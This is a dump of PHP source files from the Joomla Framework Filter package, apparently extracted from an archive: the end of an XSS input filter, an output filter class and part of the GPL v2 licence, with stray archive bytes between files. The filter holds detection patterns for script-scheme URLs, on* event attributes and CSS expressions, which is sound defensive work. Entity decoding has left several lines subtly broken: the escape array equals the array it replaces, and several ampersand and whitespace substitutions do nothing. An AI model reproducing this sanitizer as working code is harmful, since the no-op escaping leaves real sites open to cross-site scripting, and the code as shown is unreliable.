preg_match($pattern, (string) $source, $matches);
$result = isset($matches[0]) ? abs((int) $matches[0]) : 0;
}
break;
case 'FLOAT':
case 'DOUBLE':
$pattern = '/[-+]?[0-9]+(\.[0-9]+)?([eE][-+]?[0-9]+)?/';
if (\is_array($source))
{
$result = array();
// Iterate through the array
foreach ($source as $eachString)
{
preg_match($pattern, (string) $eachString, $matches);
$result[] = isset($matches[0]) ? (float) $matches[0] : 0;
}
}
else
{
preg_match($pattern, (string) $source, $matches);
$result = isset($matches[0]) ? (float) $matches[0] : 0;
}
break;
case 'BOOL':
case 'BOOLEAN':
if (\is_array($source))
{
$result = array();
// Iterate through the array
foreach ($source as $eachString)
{
$result[] = (bool) $eachString;
}
}
else
{
$result = (bool) $source;
}
break;
case 'WORD':
$pattern = '/[^A-Z_]/i';
if (\is_array($source))
{
$result = array();
// Iterate through the array
foreach ($source as $eachString)
{
$result[] = (string) preg_replace($pattern, '',
$eachString);
}
}
else
{
$result = (string) preg_replace($pattern, '', $source);
}
break;
case 'ALNUM':
$pattern = '/[^A-Z0-9]/i';
if (\is_array($source))
{
$result = array();
// Iterate through the array
foreach ($source as $eachString)
{
$result[] = (string) preg_replace($pattern, '',
$eachString);
}
}
else
{
$result = (string) preg_replace($pattern, '', $source);
}
break;
case 'CMD':
$pattern = '/[^A-Z0-9_\.-]/i';
if (\is_array($source))
{
$result = array();
// Iterate through the array
foreach ($source as $eachString)
{
$cleaned = (string) preg_replace($pattern, '',
$eachString);
$result[] = ltrim($cleaned, '.');
}
}
else
{
$result = (string) preg_replace($pattern, '', $source);
$result = ltrim($result, '.');
}
break;
case 'BASE64':
$pattern = '/[^A-Z0-9\/+=]/i';
if (\is_array($source))
{
$result = array();
// Iterate through the array
foreach ($source as $eachString)
{
$result[] = (string) preg_replace($pattern, '',
$eachString);
}
}
else
{
$result = (string) preg_replace($pattern, '', $source);
}
break;
case 'STRING':
if (\is_array($source))
{
$result = array();
// Iterate through the array
foreach ($source as $eachString)
{
$result[] = (string) $this->remove($this->decode((string)
$eachString));
}
}
else
{
$result = (string) $this->remove($this->decode((string)
$source));
}
break;
case 'HTML':
if (\is_array($source))
{
$result = array();
// Iterate through the array
foreach ($source as $eachString)
{
$result[] = (string) $this->remove((string) $eachString);
}
}
else
{
$result = (string) $this->remove((string) $source);
}
break;
case 'ARRAY':
$result = (array) $source;
break;
case 'PATH':
$pattern =
'/^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/][A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$/';
if (\is_array($source))
{
$result = array();
// Iterate through the array
foreach ($source as $eachString)
{
preg_match($pattern, (string) $eachString, $matches);
$result[] = isset($matches[0]) ? (string) $matches[0] : '';
}
}
else
{
preg_match($pattern, $source, $matches);
$result = isset($matches[0]) ? (string) $matches[0] : '';
}
break;
case 'TRIM':
if (\is_array($source))
{
$result = array();
// Iterate through the array
foreach ($source as $eachString)
{
$cleaned = (string) trim($eachString);
$cleaned = StringHelper::trim($cleaned, \chr(0xE3) . \chr(0x80) .
\chr(0x80));
$result[] = StringHelper::trim($cleaned, \chr(0xC2) . \chr(0xA0));
}
}
else
{
$result = (string) trim($source);
$result = StringHelper::trim($result, \chr(0xE3) . \chr(0x80) .
\chr(0x80));
$result = StringHelper::trim($result, \chr(0xC2) . \chr(0xA0));
}
break;
case 'USERNAME':
$pattern = '/[\x00-\x1F\x7F<>"\'%&]/';
if (\is_array($source))
{
$result = array();
// Iterate through the array
foreach ($source as $eachString)
{
$result[] = (string) preg_replace($pattern, '',
$eachString);
}
}
else
{
$result = (string) preg_replace($pattern, '', $source);
}
break;
case 'RAW':
$result = $source;
break;
default:
// Are we dealing with an array?
if (\is_array($source))
{
foreach ($source as $key => $value)
{
// Filter element for XSS and other 'bad' code etc.
if (\is_string($value))
{
$source[$key] = $this->remove($this->decode($value));
}
}
$result = $source;
}
else
{
// Or a string?
if (\is_string($source) && !empty($source))
{
// Filter source for XSS and other 'bad' code etc.
$result = $this->remove($this->decode($source));
}
else
{
// Not an array or string... return the passed parameter
$result = $source;
}
}
break;
}
return $result;
}
/**
* Function to determine if contents of an attribute are safe
*
* @param array $attrSubSet A 2 element array for attribute's
name, value
*
* @return boolean True if bad code is detected
*
* @since 1.0
*/
public static function checkAttribute($attrSubSet)
{
$quoteStyle = version_compare(\PHP_VERSION, '5.4',
'>=') ? \ENT_QUOTES | \ENT_HTML401 : \ENT_QUOTES;
$attrSubSet[0] = strtolower($attrSubSet[0]);
$attrSubSet[1] = html_entity_decode(strtolower($attrSubSet[1]),
$quoteStyle, 'UTF-8');
return (strpos($attrSubSet[1], 'expression') !== false
&& $attrSubSet[0] === 'style')
||
preg_match('/(?:(?:java|vb|live)script|behaviour|mocha)(?::|:|&column;)/',
$attrSubSet[1]) !== 0;
}
/**
* Internal method to iteratively remove all unwanted tags and attributes
*
* @param string $source Input string to be 'cleaned'
*
* @return string 'Cleaned' version of input parameter
*
* @since 1.0
*/
protected function remove($source)
{
// Iteration provides nested tag protection
do
{
$temp = $source;
$source = $this->cleanTags($source);
}
while ($temp !== $source);
return $source;
}
/**
* Internal method to strip a string of certain tags
*
* @param string $source Input string to be 'cleaned'
*
* @return string 'Cleaned' version of input parameter
*
* @since 1.0
*/
protected function cleanTags($source)
{
// First, pre-process this for illegal characters inside attribute values
$source = $this->escapeAttributeValues($source);
// In the beginning we don't really have a tag, so everything is
postTag
$preTag = null;
$postTag = $source;
$currentSpace = false;
// Setting to null to deal with undefined variables
$attr = '';
// Is there a tag? If so it will certainly start with a '<'.
$tagOpenStart = StringHelper::strpos($source, '<');
while ($tagOpenStart !== false)
{
// Get some information about the tag we are processing
$preTag .= StringHelper::substr($postTag, 0, $tagOpenStart);
$postTag = StringHelper::substr($postTag, $tagOpenStart);
$fromTagOpen = StringHelper::substr($postTag, 1);
$tagOpenEnd = StringHelper::strpos($fromTagOpen, '>');
// Check for mal-formed tag where we have a second '<'
before the first '>'
$nextOpenTag = (StringHelper::strlen($postTag) > $tagOpenStart) ?
StringHelper::strpos($postTag, '<', $tagOpenStart + 1) :
false;
if (($nextOpenTag !== false) && ($nextOpenTag < $tagOpenEnd))
{
// At this point we have a mal-formed tag -- remove the offending open
$postTag = StringHelper::substr($postTag, 0, $tagOpenStart) .
StringHelper::substr($postTag, $tagOpenStart + 1);
$tagOpenStart = StringHelper::strpos($postTag, '<');
continue;
}
// Let's catch any non-terminated tags and skip over them
if ($tagOpenEnd === false)
{
$postTag = StringHelper::substr($postTag, $tagOpenStart + 1);
$tagOpenStart = StringHelper::strpos($postTag, '<');
continue;
}
// Do we have a nested tag?
$tagOpenNested = StringHelper::strpos($fromTagOpen, '<');
if (($tagOpenNested !== false) && ($tagOpenNested <
$tagOpenEnd))
{
$preTag .= StringHelper::substr($postTag, 0, ($tagOpenNested + 1));
$postTag = StringHelper::substr($postTag, ($tagOpenNested + 1));
$tagOpenStart = StringHelper::strpos($postTag, '<');
continue;
}
// Let's get some information about our tag and setup attribute
pairs
$tagOpenNested = (StringHelper::strpos($fromTagOpen, '<') +
$tagOpenStart + 1);
$currentTag = StringHelper::substr($fromTagOpen, 0, $tagOpenEnd);
$tagLength = StringHelper::strlen($currentTag);
$tagLeft = $currentTag;
$attrSet = array();
$currentSpace = StringHelper::strpos($tagLeft, ' ');
// Are we an open tag or a close tag?
if (StringHelper::substr($currentTag, 0, 1) === '/')
{
// Close Tag
$isCloseTag = true;
list($tagName) = explode(' ', $currentTag);
$tagName = StringHelper::substr($tagName, 1);
}
else
{
// Open Tag
$isCloseTag = false;
list($tagName) = explode(' ', $currentTag);
}
/*
* Exclude all "non-regular" tagnames
* OR no tagname
* OR remove if xssauto is on and tag is blocked
*/
if ((!preg_match('/^[a-z][a-z0-9]*$/i', $tagName))
|| (!$tagName)
|| ((\in_array(strtolower($tagName), $this->tagBlacklist))
&& ($this->xssAuto)))
{
$postTag = StringHelper::substr($postTag, ($tagLength + 2));
$tagOpenStart = StringHelper::strpos($postTag, '<');
// Strip tag
continue;
}
/*
* Time to grab any attributes from the tag... need this section in
* case attributes have spaces in the values.
*/
while ($currentSpace !== false)
{
$attr = '';
$fromSpace = StringHelper::substr($tagLeft, ($currentSpace + 1));
$nextEqual = StringHelper::strpos($fromSpace, '=');
$nextSpace = StringHelper::strpos($fromSpace, ' ');
$openQuotes = StringHelper::strpos($fromSpace, '"');
$closeQuotes = StringHelper::strpos(StringHelper::substr($fromSpace,
($openQuotes + 1)), '"') + $openQuotes + 1;
$startAtt = '';
$startAttPosition = 0;
// Find position of equal and open quotes ignoring
if (preg_match('#\s*=\s*\"#', $fromSpace, $matches,
\PREG_OFFSET_CAPTURE))
{
// We have found an attribute, convert its byte position to a UTF-8
string length, using non-multibyte substr()
$stringBeforeAttr = substr($fromSpace, 0, $matches[0][1]);
$startAttPosition = StringHelper::strlen($stringBeforeAttr);
$startAtt = $matches[0][0];
$closeQuotePos = StringHelper::strpos(
StringHelper::substr($fromSpace, ($startAttPosition +
StringHelper::strlen($startAtt))), '"'
);
$closeQuotes = $closeQuotePos + $startAttPosition +
StringHelper::strlen($startAtt);
$nextEqual = $startAttPosition + StringHelper::strpos($startAtt,
'=');
$openQuotes = $startAttPosition + StringHelper::strpos($startAtt,
'"');
$nextSpace = StringHelper::strpos(StringHelper::substr($fromSpace,
$closeQuotes), ' ') + $closeQuotes;
}
// Do we have an attribute to process? [check for equal sign]
if ($fromSpace !== '/' && (($nextEqual &&
$nextSpace && $nextSpace < $nextEqual) || !$nextEqual))
{
if (!$nextEqual)
{
$attribEnd = StringHelper::strpos($fromSpace, '/') - 1;
}
else
{
$attribEnd = $nextSpace - 1;
}
// If there is an ending, use this, if not, do not worry.
if ($attribEnd > 0)
{
$fromSpace = StringHelper::substr($fromSpace, $attribEnd + 1);
}
}
if (StringHelper::strpos($fromSpace, '=') !== false)
{
/*
* If the attribute value is wrapped in quotes we need to grab the
substring from the closing quote,
* otherwise grab until the next space.
*/
if (($openQuotes !== false)
&& (StringHelper::strpos(StringHelper::substr($fromSpace,
($openQuotes + 1)), '"') !== false))
{
$attr = StringHelper::substr($fromSpace, 0, ($closeQuotes + 1));
}
else
{
$attr = StringHelper::substr($fromSpace, 0, $nextSpace);
}
}
else
{
// No more equal signs so add any extra text in the tag into the
attribute array [eg. checked]
if ($fromSpace !== '/')
{
$attr = StringHelper::substr($fromSpace, 0, $nextSpace);
}
}
// Last Attribute Pair
if (!$attr && $fromSpace !== '/')
{
$attr = $fromSpace;
}
// Add attribute pair to the attribute array
$attrSet[] = $attr;
// Move search point and continue iteration
$tagLeft = StringHelper::substr($fromSpace,
StringHelper::strlen($attr));
$currentSpace = StringHelper::strpos($tagLeft, ' ');
}
// Is our tag in the user input array?
$tagFound = \in_array(strtolower($tagName), $this->tagsArray);
// If the tag is allowed let's append it to the output string.
if ((!$tagFound && $this->tagsMethod) || ($tagFound
&& !$this->tagsMethod))
{
// Reconstruct tag with allowed attributes
if (!$isCloseTag)
{
// Open or single tag
$attrSet = $this->cleanAttributes($attrSet);
$preTag .= '<' . $tagName;
for ($i = 0, $count = \count($attrSet); $i < $count; $i++)
{
$preTag .= ' ' . $attrSet[$i];
}
// Reformat single tags to XHTML
if (StringHelper::strpos($fromTagOpen, '</' . $tagName))
{
$preTag .= '>';
}
else
{
$preTag .= ' />';
}
}
else
{
// Closing tag
$preTag .= '</' . $tagName . '>';
}
}
// Find next tag's start and continue iteration
$postTag = StringHelper::substr($postTag, ($tagLength + 2));
$tagOpenStart = StringHelper::strpos($postTag, '<');
}
// Append any code after the end of tags and return
if ($postTag !== '<')
{
$preTag .= $postTag;
}
return $preTag;
}
/**
* Internal method to strip a tag of certain attributes
*
* @param array $attrSet Array of attribute pairs to filter
*
* @return array Filtered array of attribute pairs
*
* @since 1.0
*/
protected function cleanAttributes($attrSet)
{
$newSet = array();
$count = \count($attrSet);
// Iterate through attribute pairs
for ($i = 0; $i < $count; $i++)
{
// Skip blank spaces
if (!$attrSet[$i])
{
continue;
}
// Split into name/value pairs
$attrSubSet = explode('=', trim($attrSet[$i]), 2);
// Take the last attribute in case there is an attribute with no value
$attrSubSet0 = explode(' ', trim($attrSubSet[0]));
$attrSubSet[0] = array_pop($attrSubSet0);
$attrSubSet[0] = strtolower($attrSubSet[0]);
$quoteStyle = version_compare(\PHP_VERSION, '5.4',
'>=') ? \ENT_QUOTES | \ENT_HTML401 : \ENT_QUOTES;
// Remove all spaces as valid attributes does not have spaces.
$attrSubSet[0] = html_entity_decode($attrSubSet[0], $quoteStyle,
'UTF-8');
$attrSubSet[0] = preg_replace('/^[\pZ\pC]+|[\pZ\pC]+$/u',
'', $attrSubSet[0]);
$attrSubSet[0] = preg_replace('/\s+/u', '',
$attrSubSet[0]);
// Remove blocked chars from the attribute name
foreach ($this->blockedChars as $blockedChar)
{
$attrSubSet[0] = str_ireplace($blockedChar, '',
$attrSubSet[0]);
}
// Remove all symbols
$attrSubSet[0] = preg_replace('/[^\p{L}\p{N}\-\s]/u',
'', $attrSubSet[0]);
// Remove all "non-regular" attribute names
// AND blocked attributes
if ((!preg_match('/[a-z]*$/i', $attrSubSet[0]))
|| (($this->xssAuto) &&
((\in_array(strtolower($attrSubSet[0]), $this->attrBlacklist))
|| (substr($attrSubSet[0], 0, 2) == 'on'))))
{
continue;
}
// XSS attribute value filtering
if (!isset($attrSubSet[1]))
{
continue;
}
// Remove blocked chars from the attribute value
foreach ($this->blockedChars as $blockedChar)
{
$attrSubSet[1] = str_ireplace($blockedChar, '',
$attrSubSet[1]);
}
// Trim leading and trailing spaces
$attrSubSet[1] = trim($attrSubSet[1]);
// Strips unicode, hex, etc
$attrSubSet[1] = str_replace('&#', '',
$attrSubSet[1]);
// Strip normal newline within attr value
$attrSubSet[1] = preg_replace('/[\n\r]/', '',
$attrSubSet[1]);
// Strip double quotes
$attrSubSet[1] = str_replace('"', '',
$attrSubSet[1]);
// Convert single quotes from either side to doubles (Single quotes
shouldn't be used to pad attr values)
if ((substr($attrSubSet[1], 0, 1) == "'") &&
(substr($attrSubSet[1], (\strlen($attrSubSet[1]) - 1), 1) ==
"'"))
{
$attrSubSet[1] = substr($attrSubSet[1], 1, (\strlen($attrSubSet[1]) -
2));
}
// Strip slashes
$attrSubSet[1] = stripslashes($attrSubSet[1]);
// Autostrip script tags
if (static::checkAttribute($attrSubSet))
{
continue;
}
// Is our attribute in the user input array?
$attrFound = \in_array(strtolower($attrSubSet[0]), $this->attrArray);
// If the tag is allowed lets keep it
if ((!$attrFound && $this->attrMethod) || ($attrFound
&& !$this->attrMethod))
{
// Does the attribute have a value?
if (empty($attrSubSet[1]) === false)
{
$newSet[] = $attrSubSet[0] . '="' . $attrSubSet[1] .
'"';
}
elseif ($attrSubSet[1] === '0')
{
// Special Case
// Is the value 0?
$newSet[] = $attrSubSet[0] . '="0"';
}
else
{
// Leave empty attributes alone
$newSet[] = $attrSubSet[0] . '=""';
}
}
}
return $newSet;
}
/**
* Try to convert to plaintext
*
* @param string $source The source string.
*
* @return string Plaintext string
*
* @since 1.0
* @deprecated This method will be removed once support for PHP 5.3 is
discontinued.
*/
protected function decode($source)
{
return html_entity_decode($source, \ENT_QUOTES, 'UTF-8');
}
/**
* Escape < > and " inside attribute values
*
* @param string $source The source string.
*
* @return string Filtered string
*
* @since 1.0
*/
protected function escapeAttributeValues($source)
{
$alreadyFiltered = '';
$remainder = $source;
$badChars = array('<', '"',
'>');
$escapedChars = array('<', '"',
'>');
// Process each portion based on presence of =" and
"<space>, "/>, or ">
// See if there are any more attributes to process
while (preg_match('#<[^>]*?=\s*?(\"|\')#s',
$remainder, $matches, \PREG_OFFSET_CAPTURE))
{
// We have found a tag with an attribute, convert its byte position to a
UTF-8 string length, using non-multibyte substr()
$stringBeforeTag = substr($remainder, 0, $matches[0][1]);
$tagPosition = StringHelper::strlen($stringBeforeTag);
// Get the character length before the attribute value
$nextBefore = $tagPosition + StringHelper::strlen($matches[0][0]);
// Figure out if we have a single or double quote and look for the
matching closing quote
// Closing quote should be "/>, ">, "<space>,
or " at the end of the string
$quote = StringHelper::substr($matches[0][0], -1);
$pregMatch = ($quote == '"') ?
'#(\"\s*/\s*>|\"\s*>|\"\s+|\"$)#' :
"#(\'\s*/\s*>|\'\s*>|\'\s+|\'$)#";
// Get the portion after attribute value
$attributeValueRemainder = StringHelper::substr($remainder,
$nextBefore);
if (preg_match($pregMatch, $attributeValueRemainder, $matches,
\PREG_OFFSET_CAPTURE))
{
// We have a closing quote, convert its byte position to a UTF-8 string
length, using non-multibyte substr()
$stringBeforeQuote = substr($attributeValueRemainder, 0,
$matches[0][1]);
$closeQuoteChars = StringHelper::strlen($stringBeforeQuote);
$nextAfter = $nextBefore + $matches[0][1];
}
else
{
// No closing quote
$nextAfter = StringHelper::strlen($remainder);
}
// Get the actual attribute value
$attributeValue = StringHelper::substr($remainder, $nextBefore,
$nextAfter - $nextBefore);
// Escape bad chars
$attributeValue = str_replace($badChars, $escapedChars,
$attributeValue);
$attributeValue = $this->stripCssExpressions($attributeValue);
$alreadyFiltered .= StringHelper::substr($remainder, 0, $nextBefore) .
$attributeValue . $quote;
$remainder = StringHelper::substr($remainder, $nextAfter + 1);
}
// At this point, we just have to return the $alreadyFiltered and the
$remainder
return $alreadyFiltered . $remainder;
}
/**
* Remove CSS Expressions in the form of <property>:expression(...)
*
* @param string $source The source string.
*
* @return string Filtered string
*
* @since 1.0
*/
protected function stripCssExpressions($source)
{
// Strip any comments out (in the form of /*...*/)
$test = preg_replace('#\/\*.*\*\/#U', '', $source);
// Test for :expression
if (!stripos($test, ':expression'))
{
// Not found, so we are done
return $source;
}
// At this point, we have stripped out the comments and have found
:expression
// Test stripped string for :expression followed by a '('
if (preg_match_all('#:expression\s*\(#', $test, $matches))
{
// If found, remove :expression
return str_ireplace(':expression', '', $test);
}
return $source;
}
}
PKą�[�|P���filter/src/OutputFilter.phpnu�[���<?php
/**
* Part of the Joomla Framework Filter Package
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Filter;
use Joomla\Language\Language;
use Joomla\String\StringHelper;
/**
* OutputFilter
*
* @since 1.0
*/
class OutputFilter
{
/**
* Makes an object safe to display in forms
*
* Object parameters that are non-string, array, object or start with
underscore
* will be converted
*
* @param object $mixed An object to be parsed
* @param integer $quoteStyle The optional quote style for the
htmlspecialchars function
* @param mixed $excludeKeys An optional string single field name or
array of field names not to be parsed (eg, for a textarea)
*
* @return void
*
* @since 1.0
*/
public static function objectHtmlSafe(&$mixed, $quoteStyle =
\ENT_QUOTES, $excludeKeys = '')
{
if (\is_object($mixed))
{
foreach (get_object_vars($mixed) as $k => $v)
{
if (\is_array($v) || \is_object($v) || $v == null || substr($k, 1, 1)
== '_')
{
continue;
}
if (\is_string($excludeKeys) && $k == $excludeKeys)
{
continue;
}
if (\is_array($excludeKeys) && \in_array($k, $excludeKeys))
{
continue;
}
$mixed->$k = htmlspecialchars($v, $quoteStyle, 'UTF-8');
}
}
}
/**
* This method processes a string and replaces all instances of & with
& in links only.
*
* @param string $input String to process
*
* @return string Processed string
*
* @since 1.0
*/
public static function linkXhtmlSafe($input)
{
$regex =
'href="([^"]*(&(amp;){0})[^"]*)*?"';
return preg_replace_callback(
"#$regex#i",
function ($m)
{
return preg_replace('#&(?!amp;)#', '&',
$m[0]);
},
$input
);
}
/**
* This method processes a string and replaces all accented UTF-8
characters by unaccented
* ASCII-7 "equivalents", whitespaces are replaced by hyphens
and the string is lowercase.
*
* @param string $string String to process
* @param string $language Language to transliterate to
*
* @return string Processed string
*
* @since 1.0
*/
public static function stringUrlSafe($string, $language = '')
{
// Remove any '-' from the string since they will be used as
concatenaters
$str = str_replace('-', ' ', $string);
// Transliterate on the language requested (fallback to current language
if not specified)
$lang = empty($language) ? Language::getInstance() :
Language::getInstance($language);
$str = $lang->transliterate($str);
// Trim white spaces at beginning and end of alias and make lowercase
$str = trim(StringHelper::strtolower($str));
// Remove any duplicate whitespace, and ensure all characters are
alphanumeric
$str = preg_replace('/(\s|[^A-Za-z0-9\-])+/', '-',
$str);
// Trim dashes at beginning and end of alias
$str = trim($str, '-');
return $str;
}
/**
* This method implements unicode slugs instead of transliteration.
*
* @param string $string String to process
*
* @return string Processed string
*
* @since 1.0
*/
public static function stringUrlUnicodeSlug($string)
{
// Replace double byte whitespaces by single byte (East Asian languages)
$str = preg_replace('/\xE3\x80\x80/', ' ', $string);
// Remove any '-' from the string as they will be used as
concatenator.
// Would be great to let the spaces in but only Firefox is friendly with
this
$str = str_replace('-', ' ', $str);
// Replace forbidden characters by whitespaces
$str =
preg_replace('#[:\#\*"@+=;!><&\.%()\]\/\'\\\\|\[]#',
"\x20", $str);
// Delete all '?'
$str = str_replace('?', '', $str);
// Trim white spaces at beginning and end of alias and make lowercase
$str = trim(StringHelper::strtolower($str));
// Remove any duplicate whitespace and replace whitespaces by hyphens
$str = preg_replace('#\x20+#', '-', $str);
return $str;
}
/**
* Replaces & with & for XHTML compliance
*
* @param string $text Text to process
*
* @return string Processed string.
*
* @since 1.0
*/
public static function ampReplace($text)
{
return preg_replace('/(?<!&)&(?!&|#|[\w]+;)/',
'&', $text);
}
/**
* Cleans text of all formatting and scripting code
*
* @param string $text Text to clean
*
* @return string Cleaned text.
*
* @since 1.0
*/
public static function cleanText(&$text)
{
$text =
preg_replace("'<script[^>]*>.*?</script>'si",
'', $text);
$text =
preg_replace('/<a\s+.*?href="([^"]+)"[^>]*>([^<]+)<\/a>/is',
'\2 (\1)', $text);
$text = preg_replace('/<!--.+?-->/', '',
$text);
$text = preg_replace('/{.+?}/', '', $text);
$text = preg_replace('/ /', ' ', $text);
$text = preg_replace('/&/', ' ', $text);
$text = preg_replace('/"/', ' ', $text);
$text = strip_tags($text);
$text = htmlspecialchars($text, \ENT_COMPAT, 'UTF-8');
return $text;
}
/**
* Strip img-tags from string
*
* @param string $string Sting to be cleaned.
*
* @return string Cleaned string
*
* @since 1.0
*/
public static function stripImages($string)
{
return preg_replace('#(<[/]?img.*>)#U', '',
$string);
}
/**
* Strip iframe-tags from string
*
* @param string $string Sting to be cleaned.
*
* @return string Cleaned string
*
* @since 1.0
*/
public static function stripIframes($string)
{
return preg_replace('#(<[/]?iframe.*>)#U', '',
$string);
}
}
PKą�[�P�E�E
image/LICENSEnu�[���GNU GENERAL PUBLIC
LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as
"you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
